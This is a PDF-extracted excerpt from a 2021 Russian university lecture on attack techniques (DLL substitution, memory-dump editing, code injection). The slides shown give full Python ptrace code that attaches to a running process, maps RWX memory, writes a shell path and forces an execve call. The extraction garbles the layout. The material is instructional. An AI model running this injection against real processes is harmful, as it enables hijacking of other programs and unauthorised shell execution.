Лекция 5
.pdfПодмена dll |
Изменение дампа памяти Python-процесса |
Инъекция кода |
|
|
|
Алгоритм инъекции кода (1)
Подключиться к процессу запущенной программы simple_loop
Выделить память на чтение/запись/исполнение
Записать строку, содержащую путь до shell-интерпретатора, в выделенную память
Подготовить регистры для вызова системной функции execve
Выполнить прерывание
Браницкий А.А., СПбГУТ |
Лекция 5, Санкт-Петербург, 2021 |
21/50 |
Подмена dll |
Изменение дампа памяти Python-процесса |
Инъекция кода |
|
py_ptrace.py (1) |
|
||
1 import |
ctypes |
|
|
2 # |
look |
file / usr / include / x86_64 - linux - gnu / sys / user .h |
|
3 # |
struct pt_regs |
|
|
4 class |
user_regs_struct ( ctypes . Structure ): |
|
|
5 |
_fields_ = map ( lambda x: (x , ctypes . c_ulong ), |
||
6 |
|
[ ' r15 ', ' r14 ', ' r13 ', |
' r12 ', ' rbp ', |
7 |
|
' rbx ', ' r11 ', ' r10 ', |
'r9 ', 'r8 ', |
8' rax ', ' rcx ', ' rdx ', ' rsi ', ' rdi ',
9' orig_rax ', ' rip ', 'cs ', ' eflags ',
10
11
12
13 # |
look |
file / usr / include / x86_64 - linux - gnu / sys / ptrace .h |
||
14 # |
enum |
__ptrace_request |
||
15 PTRACE_PEEKDATA |
= |
2 |
||
16 PTRACE_POKEDATA |
= |
5 |
17 PTRACE_CONT = 7
18 PTRACE_SINGLESTEP = 9 19 PTRACE_GETREGS = 12 20 PTRACE_SETREGS = 13 21 PTRACE_ATTACH = 16
22 PTRACE_DETACH = 17
Браницкий А.А., СПбГУТ |
Лекция 5, Санкт-Петербург, 2021 |
22/50 |
Подмена dll |
Изменение дампа памяти Python-процесса |
Инъекция кода |
||
py_ptrace.py (2) |
|
|
||
23 |
|
|
|
|
24 libc = |
ctypes . CDLL ( '/ lib / x86_64 - linux - gnu / libc . so .6 ') |
|||
25 libc . ptrace . argtypes |
= |
[ ctypes . c_uint , |
|
|
26 |
|
|
ctypes . c_uint , |
|
27 |
|
|
ctypes . c_void_p , |
|
28 |
|
|
ctypes . c_void_p ] |
|
29 libc . ptrace . restype |
= |
ctypes . c_long |
|
|
30 |
|
|
|
|
31 import |
sys |
|
|
|
32 import |
os |
|
|
|
33 import |
signal |
|
|
|
34 import |
copy |
|
|
|
35 |
|
|
|
|
36 def alloc_pages (pid , |
npages =1 , data = None ): |
|
37libc . ptrace ( PTRACE_ATTACH , pid , None , None )
38status = os . waitpid (pid , 0)
39 |
if os . WIFSTOPPED ( status [1]) |
and \ |
40 |
os . WSTOPSIG ( status [1]) == |
signal . SIGSTOP : |
41print ' attached '
42else :
43print ' not attached '
44sys . exit (1)
Браницкий А.А., СПбГУТ |
Лекция 5, Санкт-Петербург, 2021 |
23/50 |
Подмена dll |
Изменение дампа памяти Python-процесса |
Инъекция кода |
|
|
|
py_ptrace.py (3)
45
46# save registers
47old_regs = user_regs_struct ()
48libc . ptrace ( PTRACE_GETREGS , pid , None ,
49 |
|
ctypes . byref ( old_regs )) |
50 |
new_regs = |
copy . copy ( old_regs ) |
51 |
|
|
52 |
# save next instruction ( extract 8 bytes from rip ) |
|
53 |
code = libc . ptrace ( PTRACE_PEEKDATA , pid , |
|
54 |
|
ctypes . c_void_p ( old_regs . rip ), |
55 |
|
None ) |
56 |
|
|
57 |
# set new |
values of registers |
58new_regs . rdi = 0 x0
59new_regs . rsi = npages * 4096
60new_regs . rdx = 0 x7
61new_regs . r10 = 0 x22
62new_regs . r8 = 0 x0
63new_regs . r9 = 0 x0
64new_regs . rax = 0 x9
65libc . ptrace ( PTRACE_SETREGS , pid , None ,
66 |
ctypes . byref ( new_regs )) |
Браницкий А.А., СПбГУТ |
Лекция 5, Санкт-Петербург, 2021 |
24/50 |
Подмена dll |
Изменение дампа памяти Python-процесса |
Инъекция кода |
|
|
|
py_ptrace.py (4)
67
68# exec syscall
69libc . ptrace ( PTRACE_POKEDATA , pid ,
70 |
ctypes . c_void_p ( new_regs . rip ), 0 x050f ) |
|
71 |
libc . ptrace ( PTRACE_SINGLESTEP , pid , None , None ) |
|
72 |
|
|
73 |
# wait while instruction is executed |
|
74 |
status = os . waitpid (pid , 0) |
|
75 |
if os . WIFSTOPPED ( status [1]) |
and \ |
76 |
os . WSTOPSIG ( status [1]) == |
signal . SIGTRAP : |
77print ' successful trap '
78else :
79print ' unsuccessful trap '
80sys . exit (1)
81
82 |
# get return value of mmap ( from rax) |
83 |
libc . ptrace ( PTRACE_GETREGS , pid , None , |
84 |
ctypes . byref ( new_regs )) |
85 |
addr = new_regs . rax |
Браницкий А.А., СПбГУТ |
Лекция 5, Санкт-Петербург, 2021 |
25/50 |
Подмена dll |
|
|
Изменение дампа памяти Python-процесса |
|
|
Инъекция кода |
||||
py_ptrace.py (5) |
|
|
|
|
|
|||||
86 |
|
|
|
|
|
|
|
|
|
|
87 |
if data |
is |
not |
None and |
data |
!= |
: |
|
|
|
88 |
# |
write in |
8- byte chunks |
in |
reverse |
order |
||||
89 |
l |
= |
[ |
{:02 x} . format ( ord (d )) |
for |
d |
in data ] + \ |
|||
90 |
|
|
[ |
00 ] |
|
|
|
|
|
|
91 |
for |
i |
in range (( len (l) - |
1) |
/ 8 |
+ 1): |
||||
92 |
|
|
a |
= reversed (l[i *8:( i +1)*8]) |
|
|
||||
93 |
|
|
libc . ptrace ( PTRACE_POKEDATA , |
pid , |
||||||
94 |
|
|
|
|
ctypes . c_void_p ( addr + i * 8) , |
|||||
95 |
|
|
|
|
int ( |
. join (a), |
16)) |
|||
96 |
|
|
|
|
|
|
|
|
|
|
97 |
# restore registers and next instruction |
|||||||||
98 |
libc . ptrace ( PTRACE_POKEDATA , |
pid , |
|
|
||||||
99 |
|
|
|
ctypes . c_void_p ( old_regs . rip ), code ) |
||||||
100 |
libc . ptrace ( PTRACE_SETREGS , |
pid , |
None , |
|
||||||
101 |
|
|
|
ctypes . byref ( old_regs )) |
|
|
102libc . ptrace ( PTRACE_CONT , pid , None , None )
103libc . ptrace ( PTRACE_DETACH , pid , None , None )
104return addr
Браницкий А.А., СПбГУТ |
Лекция 5, Санкт-Петербург, 2021 |
26/50 |
Подмена dll |
Изменение дампа памяти Python-процесса |
Инъекция кода |
|
|
|
py_ptrace.py (6)
105
106 def call_execve (pid , addr ):
107libc . ptrace ( PTRACE_ATTACH , pid , None , None )
108status = os . waitpid (pid , 0)
109 if os . WIFSTOPPED ( status [1]) and \
110os . WSTOPSIG ( status [1]) == signal . SIGSTOP :
111print ' attached '
112else :
113print ' not attached '
114sys . exit (1)
115
116# get registers
117regs = user_regs_struct ()
118libc . ptrace ( PTRACE_GETREGS , pid , None ,
119 |
ctypes . byref ( regs )) |
Браницкий А.А., СПбГУТ |
Лекция 5, Санкт-Петербург, 2021 |
27/50 |
Подмена dll |
Изменение дампа памяти Python-процесса |
Инъекция кода |
|
|
|
py_ptrace.py (7)
120
121# set new values of registers
122regs . rdx = 0
123regs . rsi = 0
124regs . rdi = addr
125regs . rax = 0 x3b
126libc . ptrace ( PTRACE_SETREGS , pid , None ,
127 |
ctypes . byref ( regs )) |
128 |
|
129 |
libc . ptrace ( PTRACE_POKEDATA , pid , |
130 |
ctypes . c_void_p ( regs . rip ), 0 x050f ) |
131 |
libc . ptrace ( PTRACE_SINGLESTEP , pid , None , None ) |
132 |
|
133# wait while instruction is executed
134status = os . waitpid (pid , 0)
135 if os . WIFSTOPPED ( status [1]) and \
136os . WSTOPSIG ( status [1]) == signal . SIGTRAP :
137print ' successful trap '
138else :
139print ' unsuccessful trap '
140
141 libc . ptrace ( PTRACE_CONT , pid , None , None )
Браницкий А.А., СПбГУТ |
Лекция 5, Санкт-Петербург, 2021 |
28/50 |
Подмена dll |
Изменение дампа памяти Python-процесса |
Инъекция кода |
alloc_pages.py |
|
|
1 # !/ usr / bin / python |
|
|
2 |
|
|
3 from |
argparse import ArgumentParser |
|
4 from |
py_ptrace import alloc_pages |
|
5 |
|
|
6 arg_parser = ArgumentParser () |
|
|
7 arg_parser . add_argument ( '-p ', ' -- pid ', |
type =int , |
|
8 |
required = True , |
|
9 |
help = ' set process id ') |
10 arg_parser . add_argument ( '-n ', ' --npages ', type =int ,
11 |
|
required =True , |
|
12 |
|
help = ' allocate n rwx pages ') |
|
13 arg_parser . add_argument ( '-d ', ' --data ', type =str , |
|||
14 |
|
required =False , |
|
15 |
|
help = ' insert data ') |
|
16 |
|
|
|
17 args |
= |
arg_parser . parse_args () |
|
18 pid |
= |
args . pid |
|
19 npages |
= args . npages |
|
|
20 data |
= |
args . data |
|
21 addr |
= |
alloc_pages (pid , npages , |
data ) |
22 print |
"rwx page has address " + |
str(hex( addr )) |
Браницкий А.А., СПбГУТ |
Лекция 5, Санкт-Петербург, 2021 |
29/50 |
Подмена dll |
Изменение дампа памяти Python-процесса |
Инъекция кода |
|
call_execve.py |
|
||
1 |
# !/ usr / bin / python |
|
|
2 |
|
|
|
3 from |
argparse import ArgumentParser |
|
|
4 from |
py_ptrace import call_execve |
|
|
5 |
|
|
|
6 arg_parser = ArgumentParser () |
|
||
7 arg_parser . add_argument ( '-p ', ' -- pid ', |
type =int , |
||
8 |
|
required = True , |
|
9 |
|
help = ' set process id ') |
|
10 arg_parser . add_argument ( '-a ', ' --addr ', |
type =int , |
||
11 |
|
required =False , |
|
12 |
|
help = ' set address ') |
|
13 |
|
|
|
14 args |
= arg_parser . parse_args () |
|
|
15 pid = |
args . pid |
|
|
16 addr |
= args . addr |
|
17 call_execve (pid , addr )
Браницкий А.А., СПбГУТ |
Лекция 5, Санкт-Петербург, 2021 |
30/50 |